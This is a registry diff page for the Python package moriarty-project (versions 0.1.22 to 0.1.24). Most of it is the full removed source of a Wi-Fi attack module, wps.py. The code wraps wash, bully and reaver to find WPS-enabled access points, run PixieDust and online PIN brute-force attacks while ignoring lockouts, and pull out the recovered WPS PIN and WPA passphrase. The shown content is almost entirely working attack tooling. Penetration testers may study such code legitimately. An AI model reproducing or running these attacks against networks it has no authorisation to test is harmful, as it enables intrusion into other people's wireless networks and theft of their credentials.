moriarty-project 0.1.22__py3-none-any.whl → 0.1.24__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (27) hide show
  1. moriarty/__init__.py +1 -1
  2. moriarty/cli/app.py +4 -3
  3. moriarty/cli/domain_cmd.py +5 -1
  4. moriarty/modules/directory_fuzzer.py +25 -5
  5. moriarty/modules/web_crawler.py +448 -91
  6. {moriarty_project-0.1.22.dist-info → moriarty_project-0.1.24.dist-info}/METADATA +3 -3
  7. {moriarty_project-0.1.22.dist-info → moriarty_project-0.1.24.dist-info}/RECORD +9 -27
  8. moriarty/modules/wifippler/__init__.py +0 -92
  9. moriarty/modules/wifippler/cli/__init__.py +0 -8
  10. moriarty/modules/wifippler/cli/commands.py +0 -123
  11. moriarty/modules/wifippler/core/__init__.py +0 -94
  12. moriarty/modules/wifippler/core/attacks/__init__.py +0 -146
  13. moriarty/modules/wifippler/core/attacks/deauth.py +0 -262
  14. moriarty/modules/wifippler/core/attacks/handshake.py +0 -402
  15. moriarty/modules/wifippler/core/attacks/pmkid.py +0 -424
  16. moriarty/modules/wifippler/core/attacks/wep.py +0 -467
  17. moriarty/modules/wifippler/core/attacks/wpa.py +0 -446
  18. moriarty/modules/wifippler/core/attacks/wps.py +0 -474
  19. moriarty/modules/wifippler/core/models/__init__.py +0 -10
  20. moriarty/modules/wifippler/core/models/network.py +0 -240
  21. moriarty/modules/wifippler/core/scanner.py +0 -903
  22. moriarty/modules/wifippler/core/utils/__init__.py +0 -624
  23. moriarty/modules/wifippler/core/utils/exec.py +0 -182
  24. moriarty/modules/wifippler/core/utils/network.py +0 -262
  25. moriarty/modules/wifippler/core/utils/system.py +0 -153
  26. {moriarty_project-0.1.22.dist-info → moriarty_project-0.1.24.dist-info}/WHEEL +0 -0
  27. {moriarty_project-0.1.22.dist-info → moriarty_project-0.1.24.dist-info}/entry_points.txt +0 -0
@@ -1,474 +0,0 @@
1
- """
2
- Módulo de ataque WPS (WiFi Protected Setup).
3
-
4
- Este módulo implementa ataques contra redes WPS, incluindo:
5
- - Ataque de força bruta ao PIN WPS
6
- - Ataque PixieDust
7
- - Ataque de PIN online
8
- """
9
- import os
10
- import re
11
- import time
12
- import logging
13
- import subprocess
14
- from typing import Optional, Dict, List, Tuple, Any
15
- from dataclasses import dataclass, field
16
- from enum import Enum, auto
17
-
18
- from rich.console import Console
19
- from rich.progress import Progress, SpinnerColumn, TextColumn
20
-
21
- from ...core.models.network import WiFiNetwork
22
- from ...core.utils import (
23
- is_root, check_dependencies, get_network_interfaces,
24
- set_monitor_mode, restore_network_interface, command_exists
25
- )
26
-
27
- # Configuração de logging
28
- logging.basicConfig(level=logging.INFO)
29
- logger = logging.getLogger(__name__)
30
- console = Console()
31
-
32
- class WPSEventType(Enum):
33
- """Tipos de eventos do WPS."""
34
- START = auto()
35
- PIN_FOUND = auto()
36
- PIXIE_DUST = auto()
37
- ONLINE_BRUTE = auto()
38
- ERROR = auto()
39
- COMPLETE = auto()
40
-
41
- @dataclass
42
- class WPSEvent:
43
- """Evento de progresso do ataque WPS."""
44
- type: WPSEventType
45
- message: str = ""
46
- data: Dict[str, Any] = field(default_factory=dict)
47
-
48
- class WPSAttack:
49
- """Classe para realizar ataques WPS."""
50
-
51
- def __init__(self, interface: str = None, timeout: int = 300):
52
- """
53
- Inicializa o ataque WPS.
54
-
55
- Args:
56
- interface: Interface de rede para usar no ataque
57
- timeout: Tempo máximo de execução em segundos
58
- """
59
- self.interface = interface
60
- self.timeout = timeout
61
- self.is_running = False
62
- self.stop_requested = False
63
- self.current_pin = ""
64
- self.pins_tried = 0
65
- self.pin_found = False
66
- self.pin = ""
67
- self.psk = ""
68
-
69
- # Verifica dependências
70
- self._check_dependencies()
71
-
72
- # Verifica privilégios
73
- if not is_root():
74
- raise PermissionError("Este ataque requer privilégios de root")
75
-
76
- def _check_dependencies(self) -> None:
77
- """Verifica se todas as dependências necessárias estão instaladas."""
78
- required = ['reaver', 'bully', 'wash', 'aircrack-ng']
79
- missing = [cmd for cmd in required if not command_exists(cmd)]
80
-
81
- if missing:
82
- raise RuntimeError(
83
- f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
84
- "Instale-as com: sudo apt install reaver bully aircrack-ng"
85
- )
86
-
87
- def scan_wps_networks(self, channel: int = None) -> List[Dict[str, Any]]:
88
- """
89
- Escaneia redes com WPS ativado.
90
-
91
- Args:
92
- channel: Canal específico para escanear (opcional)
93
-
94
- Returns:
95
- Lista de redes com WPS ativado
96
- """
97
- networks = []
98
-
99
- try:
100
- # Cria um arquivo temporário para armazenar a saída
101
- import tempfile
102
- with tempfile.NamedTemporaryFile(delete=False) as tmp_file:
103
- output_file = tmp_file.name
104
-
105
- # Comando para escanear redes WPS
106
- cmd = ['wash', '-i', self.interface, '-o', output_file, '--ignore-fcs']
107
- if channel:
108
- cmd.extend(['-c', str(channel)])
109
-
110
- console.print("[cyan]Escaneando redes WPS...[/]")
111
-
112
- # Executa o comando
113
- with Progress(
114
- SpinnerColumn(),
115
- TextColumn("[progress.description]{task.description}"),
116
- console=console,
117
- transient=True,
118
- ) as progress:
119
- task = progress.add_task("Escaneando redes WPS...", total=None)
120
-
121
- try:
122
- # Executa o wash por 30 segundos
123
- process = subprocess.Popen(
124
- cmd,
125
- stdout=subprocess.PIPE,
126
- stderr=subprocess.PIPE,
127
- universal_newlines=True
128
- )
129
-
130
- # Aguarda o término ou timeout
131
- for _ in range(30): # 30 segundos de escaneamento
132
- if process.poll() is not None:
133
- break
134
- time.sleep(1)
135
-
136
- # Encerra o processo
137
- process.terminate()
138
- try:
139
- process.wait(timeout=5)
140
- except subprocess.TimeoutExpired:
141
- process.kill()
142
-
143
- # Lê o arquivo de saída
144
- with open(output_file, 'r') as f:
145
- lines = f.readlines()
146
-
147
- # Processa a saída
148
- for line in lines:
149
- line = line.strip()
150
- if not line or line.startswith('BSSID') or line.startswith('---'):
151
- continue
152
-
153
- # Formato: BSSID Channel RSSI WPS Version WPS Locked ESSID
154
- parts = re.split(r'\s{2,}', line)
155
- if len(parts) >= 6:
156
- network = {
157
- 'bssid': parts[0].strip(),
158
- 'channel': int(parts[1]),
159
- 'rssi': int(parts[2]),
160
- 'wps_version': parts[3],
161
- 'wps_locked': parts[4].lower() == 'yes',
162
- 'ssid': parts[5] if len(parts) > 5 else ''
163
- }
164
- networks.append(network)
165
-
166
- progress.update(task, completed=1, visible=False)
167
-
168
- except Exception as e:
169
- logger.error(f"Erro ao escanear redes WPS: {e}")
170
- progress.update(task, visible=False)
171
-
172
- except Exception as e:
173
- logger.error(f"Erro ao escanear redes WPS: {e}")
174
-
175
- finally:
176
- # Remove o arquivo temporário
177
- try:
178
- if os.path.exists(output_file):
179
- os.unlink(output_file)
180
- except:
181
- pass
182
-
183
- return networks
184
-
185
- def pixie_dust_attack(self, bssid: str, channel: int, callback=None) -> Tuple[bool, str, str]:
186
- """
187
- Realiza o ataque PixieDust contra uma rede WPS.
188
-
189
- Args:
190
- bssid: Endereço MAC do ponto de acesso
191
- channel: Canal da rede
192
- callback: Função de callback para eventos
193
-
194
- Returns:
195
- Tupla (sucesso, PIN, PSK)
196
- """
197
- self.is_running = True
198
- self.stop_requested = False
199
- self.pin_found = False
200
- self.pin = ""
201
- self.psk = ""
202
-
203
- # Configura o monitoramento de eventos
204
- def event_handler(event_type: WPSEventType, message: str = "", **kwargs):
205
- if callback:
206
- event = WPSEvent(type=event_type, message=message, data=kwargs)
207
- callback(event)
208
-
209
- try:
210
- # Verifica se o bully está disponível
211
- if not command_exists('bully'):
212
- event_handler(
213
- WPSEventType.ERROR,
214
- "O comando 'bully' não foi encontrado. Instale-o com: sudo apt install bully"
215
- )
216
- return False, "", ""
217
-
218
- # Cria um arquivo temporário para armazenar a saída
219
- import tempfile
220
- with tempfile.NamedTemporaryFile(delete=False) as tmp_file:
221
- output_file = tmp_file.name
222
-
223
- # Comando para o ataque PixieDust
224
- cmd = [
225
- 'bully',
226
- '-b', bssid, # BSSID do alvo
227
- '-c', str(channel), # Canal
228
- '-p', '1', # Modo PixieDust
229
- '--pixie-dust', # Força o ataque PixieDust
230
- '-v', '3', # Modo verboso
231
- '-F', # Ignora erros de FCS
232
- '-B', # Ignora bloqueios
233
- '-d', # Mostra códigos PIN
234
- '-l', '100', # Limite de tentativas
235
- '--pixie-sleep', '1', # Tempo de espera entre tentativas
236
- self.interface # Interface de rede
237
- ]
238
-
239
- event_handler(WPSEventType.START, "Iniciando ataque PixieDust...")
240
-
241
- # Executa o comando
242
- process = subprocess.Popen(
243
- cmd,
244
- stdout=subprocess.PIPE,
245
- stderr=subprocess.STDOUT,
246
- universal_newlines=True
247
- )
248
-
249
- # Monitora a saída
250
- pin_pattern = re.compile(r'\[\+\]\s+Pin\s+is\s+([0-9]{8})')
251
- psk_pattern = re.compile(r'\[\+\]\s+WPA\s+PSK:\s+([^\s]+)')
252
-
253
- start_time = time.time()
254
-
255
- while True:
256
- # Verifica timeout
257
- if time.time() - start_time > self.timeout:
258
- event_handler(
259
- WPSEventType.ERROR,
260
- "Tempo limite excedido no ataque PixieDust"
261
- )
262
- process.terminate()
263
- break
264
-
265
- # Verifica se foi solicitado para parar
266
- if self.stop_requested:
267
- event_handler(
268
- WPSEventType.ERROR,
269
- "Ataque interrompido pelo usuário"
270
- )
271
- process.terminate()
272
- break
273
-
274
- # Lê a saída
275
- line = process.stdout.readline()
276
- if not line and process.poll() is not None:
277
- break
278
-
279
- if line:
280
- # Verifica se encontrou o PIN
281
- pin_match = pin_pattern.search(line)
282
- if pin_match:
283
- self.pin = pin_match.group(1)
284
- self.pin_found = True
285
- event_handler(
286
- WPSEventType.PIN_FOUND,
287
- f"PIN encontrado: {self.pin}",
288
- pin=self.pin
289
- )
290
-
291
- # Verifica se encontrou a PSK
292
- psk_match = psk_pattern.search(line)
293
- if psk_match:
294
- self.psk = psk_match.group(1)
295
- event_handler(
296
- WPSEventType.COMPLETE,
297
- f"Senha encontrada: {self.psk}",
298
- pin=self.pin,
299
- psk=self.psk
300
- )
301
- return True, self.pin, self.psk
302
-
303
- # Envia a saída para o callback
304
- event_handler(WPSEventType.PIXIE_DUST, line.strip())
305
-
306
- # Verifica se o processo terminou com sucesso
307
- if process.poll() == 0 and self.pin_found:
308
- return True, self.pin, self.psk
309
-
310
- return False, "", ""
311
-
312
- except Exception as e:
313
- event_handler(
314
- WPSEventType.ERROR,
315
- f"Erro durante o ataque PixieDust: {str(e)}"
316
- )
317
- return False, "", ""
318
-
319
- finally:
320
- self.is_running = False
321
- # Remove o arquivo temporário
322
- try:
323
- if os.path.exists(output_file):
324
- os.unlink(output_file)
325
- except:
326
- pass
327
-
328
- def online_brute_force(self, bssid: str, channel: int, pin_file: str = None,
329
- callback=None) -> Tuple[bool, str, str]:
330
- """
331
- Realiza um ataque de força bruta online ao PIN WPS.
332
-
333
- Args:
334
- bssid: Endereço MAC do ponto de acesso
335
- channel: Canal da rede
336
- pin_file: Caminho para o arquivo de PINs (opcional)
337
- callback: Função de callback para eventos
338
-
339
- Returns:
340
- Tupla (sucesso, PIN, PSK)
341
- """
342
- self.is_running = True
343
- self.stop_requested = False
344
- self.pin_found = False
345
- self.pin = ""
346
- self.psk = ""
347
-
348
- # Configura o monitoramento de eventos
349
- def event_handler(event_type: WPSEventType, message: str = "", **kwargs):
350
- if callback:
351
- event = WPSEvent(type=event_type, message=message, data=kwargs)
352
- callback(event)
353
-
354
- try:
355
- # Verifica se o reaver está disponível
356
- if not command_exists('reaver'):
357
- event_handler(
358
- WPSEventType.ERROR,
359
- "O comando 'reaver' não foi encontrado. Instale-o com: sudo apt install reaver"
360
- )
361
- return False, "", ""
362
-
363
- # Cria um arquivo temporário para armazenar a saída
364
- import tempfile
365
- with tempfile.NamedTemporaryFile(delete=False) as tmp_file:
366
- output_file = tmp_file.name
367
-
368
- # Comando para o ataque de força bruta
369
- cmd = [
370
- 'reaver',
371
- '-i', self.interface, # Interface de rede
372
- '-b', bssid, # BSSID do alvo
373
- '-c', str(channel), # Canal
374
- '-vv', # Modo verboso
375
- '-K', '1', # Executa o ataque PixieDust primeiro
376
- '-N', 'F:' # Ignora relatórios de estado
377
- ]
378
-
379
- # Adiciona o arquivo de PINs, se fornecido
380
- if pin_file and os.path.exists(pin_file):
381
- cmd.extend(['-p', pin_file])
382
-
383
- event_handler(WPSEventType.START, "Iniciando ataque de força bruta online...")
384
-
385
- # Executa o comando
386
- process = subprocess.Popen(
387
- cmd,
388
- stdout=subprocess.PIPE,
389
- stderr=subprocess.STDOUT,
390
- universal_newlines=True
391
- )
392
-
393
- # Monitora a saída
394
- pin_pattern = re.compile(r'\[\+\]\s+PIN\s+is\s+'r'([0-9]{8})')
395
- psk_pattern = re.compile(r'\[\+\]\s+WPA\s+PSK:\s+([^\s]+)')
396
-
397
- start_time = time.time()
398
-
399
- while True:
400
- # Verifica timeout
401
- if time.time() - start_time > self.timeout:
402
- event_handler(
403
- WPSEventType.ERROR,
404
- "Tempo limite excedido no ataque de força bruta"
405
- )
406
- process.terminate()
407
- break
408
-
409
- # Verifica se foi solicitado para parar
410
- if self.stop_requested:
411
- event_handler(
412
- WPSEventType.ERROR,
413
- "Ataque interrompido pelo usuário"
414
- )
415
- process.terminate()
416
- break
417
-
418
- # Lê a saída
419
- line = process.stdout.readline()
420
- if not line and process.poll() is not None:
421
- break
422
-
423
- if line:
424
- # Verifica se encontrou o PIN
425
- pin_match = pin_pattern.search(line)
426
- if pin_match:
427
- self.pin = pin_match.group(1)
428
- self.pin_found = True
429
- event_handler(
430
- WPSEventType.PIN_FOUND,
431
- f"PIN encontrado: {self.pin}",
432
- pin=self.pin
433
- )
434
-
435
- # Verifica se encontrou a PSK
436
- psk_match = psk_pattern.search(line)
437
- if psk_match:
438
- self.psk = psk_match.group(1)
439
- event_handler(
440
- WPSEventType.COMPLETE,
441
- f"Senha encontrada: {self.psk}",
442
- pin=self.pin,
443
- psk=self.psk
444
- )
445
- return True, self.pin, self.psk
446
-
447
- # Envia a saída para o callback
448
- event_handler(WPSEventType.ONLINE_BRUTE, line.strip())
449
-
450
- # Verifica se o processo terminou com sucesso
451
- if process.poll() == 0 and self.pin_found:
452
- return True, self.pin, self.psk
453
-
454
- return False, "", ""
455
-
456
- except Exception as e:
457
- event_handler(
458
- WPSEventType.ERROR,
459
- f"Erro durante o ataque de força bruta: {str(e)}"
460
- )
461
- return False, "", ""
462
-
463
- finally:
464
- self.is_running = False
465
- # Remove o arquivo temporário
466
- try:
467
- if os.path.exists(output_file):
468
- os.unlink(output_file)
469
- except:
470
- pass
471
-
472
- def stop(self):
473
- """Solicita a interrupção do ataque."""
474
- self.stop_requested = True
@@ -1,10 +0,0 @@
1
- """
2
- Modelos de dados para o módulo WiFiPPLER.
3
- """
4
-
5
- from .network import WiFiNetwork, WiFiClient
6
-
7
- __all__ = [
8
- 'WiFiNetwork',
9
- 'WiFiClient'
10
- ]